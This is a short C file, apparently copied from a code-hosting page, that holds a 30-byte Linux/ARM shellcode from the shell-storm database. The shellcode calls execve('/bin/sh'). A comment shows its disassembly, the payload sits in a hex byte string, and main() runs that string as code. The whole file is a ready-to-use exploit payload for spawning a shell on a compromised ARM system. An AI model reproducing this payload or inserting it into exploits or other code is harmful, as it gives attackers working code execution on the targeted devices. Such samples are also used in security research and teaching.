43 lines
No EOL
1.1 KiB
C
43 lines
No EOL
1.1 KiB
C
/*
|
|
Title: Linux/ARM - execve("/bin/sh","/bin/sh",0) - 30 bytes
|
|
Date: 2010-06-28
|
|
Tested: ARM926EJ-S rev 5 (v5l)
|
|
|
|
Author: Jonathan Salwan
|
|
Web: http://shell-storm.org | http://twitter.com/jonathansalwan
|
|
|
|
! Dtabase of shellcodes http://www.shell-storm.org/shellcode/
|
|
|
|
|
|
8054: e28f3001 add r3, pc, #1 ; 0x1
|
|
8058: e12fff13 bx r3
|
|
805c: 4678 mov r0, pc
|
|
805e: 300a adds r0, #10
|
|
8060: 9001 str r0, [sp, #4]
|
|
8062: a901 add r1, sp, #4
|
|
8064: 1a92 subs r2, r2, r2
|
|
8066: 270b movs r7, #11
|
|
8068: df01 svc 1
|
|
806a: 2f2f cmp r7, #47
|
|
806c: 6962 ldr r2, [r4, #20]
|
|
806e: 2f6e cmp r7, #110
|
|
8070: 6873 ldr r3, [r6, #4]
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
|
|
char *SC = "\x01\x30\x8f\xe2"
|
|
"\x13\xff\x2f\xe1"
|
|
"\x78\x46\x0a\x30"
|
|
"\x01\x90\x01\xa9"
|
|
"\x92\x1a\x0b\x27"
|
|
"\x01\xdf\x2f\x2f"
|
|
"\x62\x69\x6e\x2f"
|
|
"\x73\x68";
|
|
|
|
int main(void)
|
|
{
|
|
fprintf(stdout,"Length: %d\n",strlen(SC));
|
|
(*(void(*)()) SC)();
|
|
return 0;
|
|
} |